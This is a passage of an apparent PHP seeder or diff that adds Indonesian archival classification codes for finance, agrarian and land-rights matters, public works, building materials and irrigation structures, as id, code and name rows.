Lalu Lintas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1251, + 'kode' => '586', + 'nama' => 'Alat Pembayaran, Cek, Giro, Wesel, Transfer', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1252, + 'kode' => '587', + 'nama' => 'Fiskal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1253, + 'kode' => '588', + 'nama' => 'Hutang Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1254, + 'kode' => '589', + 'nama' => 'Moneter', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1255, + 'kode' => '590', + 'nama' => 'AGRARIA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1256, + 'kode' => '591', + 'nama' => 'Tataguna Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1257, + 'kode' => '591.1', + 'nama' => 'Pemetaan dan Pengukuran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1258, + 'kode' => '591.2', + 'nama' => 'Perpetaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1259, + 'kode' => '591.3', + 'nama' => 'penyediaan Data', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1260, + 'kode' => '591.4', + 'nama' => 'Fatwa Tata Guna Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1261, + 'kode' => '591.5', + 'nama' => 'Tanah Kritis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1262, + 'kode' => '592', + 'nama' => 'Landreform', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1263, + 'kode' => '592.1', + 'nama' => 'Redistribusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1264, + 'kode' => '592.11', + 'nama' => 'Pendaftaran Pemilikan Dan Pengurusan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1265, + 'kode' => '592.12', + 'nama' => 'Penentuan Tanah Obyek Landreform', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1266, + 'kode' => '592.13', + 'nama' => 'Pembagian Tanah Obyek Landreform', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1267, + 'kode' => '592.14', + 'nama' => 'Sengketa Redistribusi Tanah Obyek Landreform', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1268, + 'kode' => '592.2', + 'nama' => 'Ganti Rugi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1269, + 'kode' => '592.21', + 'nama' => 'Ganti Rugi Tanah Kelebihan', + 'uraian' => 'Meliputi : Sengketa Ganti Rugi Tanah Kelebihan Tanah', + 'enabled' => 1, + ], + [ + 'id' => 1270, + 'kode' => '592.22', + 'nama' => 'Ganti Rugi Tanah Absentee', + 'uraian' => 'Meliputi : Sengketa Ganti Rugi Tanah Absentee', + 'enabled' => 1, + ], + [ + 'id' => 1271, + 'kode' => '592.23', + 'nama' => 'Ganti Rugi Tanah Partikelir', + 'uraian' => 'Meliputi : Sengketa Ganti Rugi Tanah Partikelir', + 'enabled' => 1, + ], + [ + 'id' => 1272, + 'kode' => '592.3', + 'nama' => 'Bagi Hasil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1273, + 'kode' => '592.31', + 'nama' => 'Penetapan Imbangan Bagi Hasil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1274, + 'kode' => '592.32', + 'nama' => 'Pelaksanaan Perjanjian Bagi Hasil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1275, + 'kode' => '592.33', + 'nama' => 'Sengketa Perjanjian Bagi Hasil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1276, + 'kode' => '592.4', + 'nama' => 'Gadai Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1277, + 'kode' => '592.41', + 'nama' => 'Pendaftaran Pemilikan Dan Pengurusan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1278, + 'kode' => '592.42', + 'nama' => 'Pelaksanaan Gadai Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1279, + 'kode' => '592.43', + 'nama' => 'Sengketa Gadai Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1280, + 'kode' => '592.5', + 'nama' => 'Bimbingan dan Penyuluhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1281, + 'kode' => '592.6', + 'nama' => 'Pengembangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1282, + 'kode' => '592.7', + 'nama' => 'Yayasan Dana Landreform', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1283, + 'kode' => '593', + 'nama' => 'Pengurusan Hak-Hak Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1284, + 'kode' => '593.01', + 'nama' => 'Penyusunan Program Dan Bimbingan Teknis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1285, + 'kode' => '593.1', + 'nama' => 'Sewa Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1286, + 'kode' => '593.11', + 'nama' => 'Sewa Tanah Untuk Tanaman Tertentu, Tebu, Tembakau, Rosela, Chorcorus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1287, + 'kode' => '593.2', + 'nama' => 'Hak Milik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1288, + 'kode' => '593.21', + 'nama' => 'Perorangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1289, + 'kode' => '593.22', + 'nama' => 'Badan Hukum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1290, + 'kode' => '593.3', + 'nama' => 'Hak Pakai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1291, + 'kode' => '593.31', + 'nama' => 'Perorangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1292, + 'kode' => '593.311', + 'nama' => 'Warga Negara Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1293, + 'kode' => '593.312', + 'nama' => 'Warga Negara Asing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1294, + 'kode' => '593.32', + 'nama' => 'Badan Hukum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1295, + 'kode' => '593.321', + 'nama' => 'Badan Hukum Indonesia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1296, + 'kode' => '593.322', + 'nama' => 'Badan Hukum Asing, Kedutaan, Konsulat Kantor Dagang Asing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1297, + 'kode' => '593.33', + 'nama' => 'Tanah Gedung-Gedung Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1298, + 'kode' => '593.4', + 'nama' => 'Guna Usaha', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1299, + 'kode' => '593.41', + 'nama' => 'Perkebunan Besar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1300, + 'kode' => '593.42', + 'nama' => 'Perkebunan Rakyat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1301, + 'kode' => '593.43', + 'nama' => 'Peternakan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1302, + 'kode' => '593.44', + 'nama' => 'Perikanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1303, + 'kode' => '593.45', + 'nama' => 'Kehutanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1304, + 'kode' => '593.5', + 'nama' => 'Hak Guna Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1305, + 'kode' => '593.51', + 'nama' => 'Perorangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1306, + 'kode' => '593.52', + 'nama' => 'Badan Hukum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1307, + 'kode' => '593.53', + 'nama' => 'P3MB (Panitia Pelaksana Penguasaan Milik Belanda)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1308, + 'kode' => '593.54', + 'nama' => 'Badan Hukum Asing Belanda-Prrk No 5165', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1309, + 'kode' => '593.55', + 'nama' => 'Pemulihan Hak (Pen Pres 4/1960)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1310, + 'kode' => '593.6', + 'nama' => 'Hak Pengelolaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1311, + 'kode' => '593.61', + 'nama' => 'PN Perumnas, Bonded Ware House, Industrial Estate, Real Estate', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1312, + 'kode' => '593.62', + 'nama' => 'Perusahaan Daerah Pembangunan Perumahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1313, + 'kode' => '593.7', + 'nama' => 'Sengketa Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1314, + 'kode' => '593.71', + 'nama' => 'Peradilan Perkara Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1315, + 'kode' => '593.8', + 'nama' => 'Pencabutan dan Pembebasan Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1316, + 'kode' => '593.81', + 'nama' => 'Pencabutan Hak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1317, + 'kode' => '593.82', + 'nama' => 'Pembebasan Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1318, + 'kode' => '593.83', + 'nama' => 'Ganti Rugi Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1319, + 'kode' => '594', + 'nama' => 'Pendaftaran Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1320, + 'kode' => '594.1', + 'nama' => 'Pengukuran / Pemetaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1321, + 'kode' => '594.11', + 'nama' => 'Fotogrametri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1322, + 'kode' => '594.12', + 'nama' => 'Terristris', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1323, + 'kode' => '594.13', + 'nama' => 'Triangulasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1324, + 'kode' => '594.14', + 'nama' => 'Peralatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1325, + 'kode' => '594.2', + 'nama' => 'Dana Pengukuran (Permen Agraria No. 61/1965)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1326, + 'kode' => '594.3', + 'nama' => 'Sertifikat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1327, + 'kode' => '594.4', + 'nama' => 'Pejabat Pembuat Akta Tanah (PPAT)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1328, + 'kode' => '595', + 'nama' => 'Lahan Transmigrasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1329, + 'kode' => '595.1', + 'nama' => 'Tataguna Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1330, + 'kode' => '595.2', + 'nama' => 'Landreform', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1331, + 'kode' => '595.3', + 'nama' => 'Pengurusan Hak-Hak Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1332, + 'kode' => '595.4', + 'nama' => 'Pendaftaran Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1333, + 'kode' => '596', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1334, + 'kode' => '597', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1335, + 'kode' => '598', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1336, + 'kode' => '599', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1337, + 'kode' => '600', + 'nama' => 'PEKERJAAN UMUM DAN KETENAGAKERJAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1338, + 'kode' => '601', + 'nama' => 'Tata Bangunan Konstruksi Dan Industri Konstruksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1339, + 'kode' => '602', + 'nama' => 'Kontraktor Pemborong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1340, + 'kode' => '602.1', + 'nama' => 'Tender', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1341, + 'kode' => '602.2', + 'nama' => 'Pennunjukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1342, + 'kode' => '602.3', + 'nama' => 'Prakualifikasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1343, + 'kode' => '602.31', + 'nama' => 'Daftar Rekanan Mampu (DRM)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1344, + 'kode' => '602.32', + 'nama' => 'Tanda Daftar Rekanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1345, + 'kode' => '603', + 'nama' => 'Arsitektur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1346, + 'kode' => '604', + 'nama' => 'Bahan Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1347, + 'kode' => '604.1', + 'nama' => 'Tanah Dan Batu Seperti: Batu Belah, Steen Slaag, Split dsb', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1348, + 'kode' => '604.2', + 'nama' => 'Aspal, Aspal Buatan, Aspal Alam (butas)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1349, + 'kode' => '604.3', + 'nama' => 'Besi Dan Logam Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1350, + 'kode' => '604.31', + 'nama' => 'Besi Beton', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1351, + 'kode' => '604.32', + 'nama' => 'Besi Profil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1352, + 'kode' => '604.33', + 'nama' => 'Paku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1353, + 'kode' => '604.34', + 'nama' => 'Alumunium, Profil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1354, + 'kode' => '604.4', + 'nama' => 'Bahan-Bahan Pelindung Dan Pengawet ', + 'uraian' => '(Cat, Tech Til, Pengawet Kayu)', + 'enabled' => 1, + ], + [ + 'id' => 1355, + 'kode' => '604.5', + 'nama' => 'Semen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1356, + 'kode' => '604.6', + 'nama' => 'Kayu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1357, + 'kode' => '604.7', + 'nama' => 'Bahan Penutup Atap ', + 'uraian' => '(Genting, Asbes Gelombang, Seng Dan Sebagainya)', + 'enabled' => 1, + ], + [ + 'id' => 1358, + 'kode' => '604.8', + 'nama' => 'Alat-Alat Penggantung Dan Pengunci', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1359, + 'kode' => '604.9', + 'nama' => 'Bahan-Bahan Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1360, + 'kode' => '605', + 'nama' => 'Instalasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1361, + 'kode' => '605.1', + 'nama' => 'Instalasi Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1362, + 'kode' => '605.2', + 'nama' => 'Instalasi Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1363, + 'kode' => '605.3', + 'nama' => 'Instalasi Air Sanitasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1364, + 'kode' => '605.4', + 'nama' => 'Instalasi Pengatur Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1365, + 'kode' => '605.5', + 'nama' => 'Instalasi Akustik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1366, + 'kode' => '605.6', + 'nama' => 'Instalasi Cahaya / Penerangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1367, + 'kode' => '606', + 'nama' => 'Konstruksi Pencegahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1368, + 'kode' => '606.1', + 'nama' => 'Konstruksi Pencegahan Terhadap Kebakaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1369, + 'kode' => '606.2', + 'nama' => 'Konstruksi Pencegahan Terhadap Gempa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1370, + 'kode' => '606.3', + 'nama' => 'Konstruksi Penegahan Terhadap Angin Udara/Panas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1371, + 'kode' => '606.4', + 'nama' => 'Konstruksi Pencegahan Terhadap Kegaduhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1372, + 'kode' => '606.5', + 'nama' => 'Konstruksi Pencegahan Terhadap Gas/Explosive', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1373, + 'kode' => '606.6', + 'nama' => 'Konstruksi Pencegahan Terhadap Serangga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1374, + 'kode' => '606.7', + 'nama' => 'Konstruksi Pencegahan Terhadap Radiasi Atom', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1375, + 'kode' => '607', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1376, + 'kode' => '608', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1377, + 'kode' => '609', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1378, + 'kode' => '610', + 'nama' => 'PENGAIRAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1379, + 'kode' => '611', + 'nama' => 'Irigasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1380, + 'kode' => '611.1', + 'nama' => 'Bangunan Waduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1381, + 'kode' => '611.11', + 'nama' => 'Bendungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1382, + 'kode' => '611.12', + 'nama' => 'Tanggul', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1383, + 'kode' => '611.13', + 'nama' => 'Pelimpahan Banjir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1384, + 'kode' => '611.14', + 'nama' => 'Menara Pengambilan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1385, + 'kode' => '611.2', + 'nama' => 'Bangunan Pengambilan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1386, + 'kode' => '611.21', + 'nama' => 'Bendungan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1387, + 'kode' => '611.22', + 'nama' => 'Bendungan Dengan Pintu Bilas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1388, + 'kode' => '611.23', + 'nama' => 'Bendungan Dengan Pompa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1389, + 'kode' => '611.24', + 'nama' => 'Pengambilan Bebas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1390, + 'kode' => '611.25', + 'nama' => 'Pengambilan Bebas Dengan Pompa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1391, + 'kode' => '611.26', + 'nama' => 'Sumur Dengan Pompa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1392, + 'kode' => '611.27', + 'nama' => 'Kantung Lumpur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1393, + 'kode' => '611.28', + 'nama' => 'Slit Ekstrator', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1394, + 'kode' => '611.29', + 'nama' => 'Escope Channel', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1395, + 'kode' => '611.3', + 'nama' => 'Bangunan Pembawa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1396, + 'kode' => '611.31', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1397, + 'kode' => '611.311', + 'nama' => 'Saluran Induk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1398, + 'kode' => '611.312', + 'nama' => 'Saluran Sekunder', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1399, + 'kode' => '611.313', + 'nama' => 'Suplesi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1400, + 'kode' => '611.314', + 'nama' => 'Tersier', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1401, + 'kode' => '611.315', + 'nama' => 'Saluran Kwarter', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1402, + 'kode' => '611.316', + 'nama' => 'Saluran Pasangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1403, + 'kode' => '611.317', + 'nama' => 'Saluran Tertutup / Terowongan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1404, + 'kode' => '611.32', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1405, + 'kode' => '611.321', + 'nama' => 'Bangunan Bagi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1406, + 'kode' => '611.322', + 'nama' => 'Bangunan Bagi Dan Sadap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1407, + 'kode' => '611.323', + 'nama' => 'Bangunan Sadap', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1408, + 'kode' => '611.324', + 'nama' => 'Bangunan Check', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1409, + 'kode' => '611.325', + 'nama' => 'Bangunan Terjun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1410, + 'kode' => '611.33', + 'nama' => 'Box Tersier', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1411, + 'kode' => '611.34', + 'nama' => 'Got Miring', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1412, + 'kode' => '611.35', + 'nama' => 'Talang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1413, + 'kode' => '611.36', + 'nama' => 'Syphon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1414, + 'kode' => '611.37', + 'nama' => 'Gorong-Gorong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1415, + 'kode' => '611.38', + 'nama' => 'Pelimpah Samping', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1416, + 'kode' => '611.4', + 'nama' => 'Bangunan Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1417, + 'kode' => '611.41', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1418, + 'kode' => '611.411', + 'nama' => 'Saluran Pembuang Induk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1419, + 'kode' => '611.412', + 'nama' => 'Saluran Pembuang Sekunder', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1420, + 'kode' => '611.413', + 'nama' => 'Saluran Tersier', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1421, + 'kode' => '611.42', + 'nama' => 'Bangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1422, + 'kode' => '611.421', + 'nama' => 'Bangunan Outlet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1423, + 'kode' => '611.422', + 'nama' => 'Bangunan Terjun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1424, + 'kode' => '611.423', + 'nama' => 'Bangunan Penahan Banjir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1425, + 'kode' => '611.43', + 'nama' => 'Gorong-Gorong Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1426, + 'kode' => '611.44', + 'nama' => 'Talang Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1427, + 'kode' => '611.45', + 'nama' => 'Syphon Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1428, + 'kode' => '611.5', + 'nama' => 'Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1429, + 'kode' => '611.51', + 'nama' => 'Jalan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1430, + 'kode' => '611.511', + 'nama' => 'Jalan Inspeksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1431, + 'kode' => '611.512', + 'nama' => 'Jalan Logistik Waduk Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1432, + 'kode' => '611.52', + 'nama' => 'Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1433, + 'kode' => '611.521', + 'nama' => 'Jembatan Inspeksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1434, + 'kode' => '611.522', + 'nama' => 'Jembatan Hewan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1435, + 'kode' => '611.53', + 'nama' => 'Tangga Cuci', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1436, + 'kode' => '611.54', + 'nama' => 'Kubangan Kerbau', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1437, + 'kode' => '611.55', + 'nama' => 'Waduk Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1438, + 'kode' => '611.56', + 'nama' => 'Bangunan Penunjang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1439, + 'kode' => '611.57', + 'nama' => 'Jaringan Telepon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1440, + 'kode' => '611.58', + 'nama' => 'Stasiun Agro', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1441, + 'kode' => '612', + 'nama' => 'Folder', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1442, + 'kode' => '612.1', + 'nama' => 'Tanggul Keliling', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1443, + 'kode' => '612.11', + 'nama' => 'Tanggul', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1444, + 'kode' => '612.12', + 'nama' => 'Bangunan Penutup Sungai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1445, + 'kode' => '612.13', + 'nama' => 'Jembatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1446, + 'kode' => '612.2', + 'nama' => 'Bangunan Pembawa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1447, + 'kode' => '612.21', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1448, + 'kode' => '612.211', + 'nama' => 'Saluran Muka', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1449, + 'kode' => '612.212', + 'nama' => 'Saluran Pembawa Waduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1450, + 'kode' => '612.213', + 'nama' => 'Saluran Pembawa Sekunder', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1451, + 'kode' => '612.22', + 'nama' => 'Stasiun Pompa Pemasukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1452, + 'kode' => '612.23', + 'nama' => 'Bangunan Bagi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1453, + 'kode' => '612.24', + 'nama' => 'Gorong-Gorong', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1454, + 'kode' => '612.25', + 'nama' => 'Syphon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1455, + 'kode' => '612.3', + 'nama' => 'Bangunan Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1456, + 'kode' => '612.31', + 'nama' => 'Stasiun Pompa Pembuang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1457, + 'kode' => '612.32', + 'nama' => 'Saluran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1458, + 'kode' => '612.321', + 'nama' => 'Saluran Pembuang Induk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1459, + 'kode' => '612.322', + 'nama' => 'Saluran Pembuang Sekunder', + 'uraian' => '-', + 'enabled' => 1, + ], + 